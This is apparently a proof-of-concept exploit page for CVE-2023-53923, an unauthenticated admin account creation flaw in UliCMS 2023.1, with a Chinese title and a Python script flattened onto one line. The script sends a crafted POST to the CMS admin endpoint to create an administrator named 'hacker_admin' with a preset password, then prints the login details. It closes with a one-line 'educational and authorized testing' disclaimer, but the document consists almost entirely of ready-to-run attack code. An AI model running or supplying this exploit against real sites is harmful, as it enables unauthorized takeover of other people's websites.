CVE-2023-53923 UliCMS 2023.1 未授权管理员账户创建权限提升漏洞

import requests import sys # CVE-2023-53923 PoC - UliCMS 2023.1 Unauthenticated Admin Account Creation # Target: UliCMS 2023.1 # Vulnerability: Privilege escalation via UserController target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-ulicms.com" # Crafted POST request to create admin user endpoint = f"{target_url}/dist/admin/index.php" # Parameters for admin account creation data = { "module": "users", "controller": "UserController", "action": "create", "username": "hacker_admin", "password": "P@ssw0rd123!", "email": "[email protected]", "role": "admin", "group_id": 1 } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } print(f"[*] Sending exploit to {endpoint}") print(f"[*] Target: {target_url}") try: response = requests.post(endpoint, data=data, headers=headers, timeout=30, verify=False) if response.status_code == 200: if "success" in response.text.lower() or "created" in response.text.lower(): print("[+] Admin account created successfully!") print(f"[+] Username: {data['username']}") print(f"[+] Password: {data['password']}") print(f"[*] Login at: {target_url}/dist/admin/") else: print("[-] Response received but admin creation may have failed") print(f"[-] Status: {response.status_code}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") print("\n[*] For educational and authorized testing purposes only.")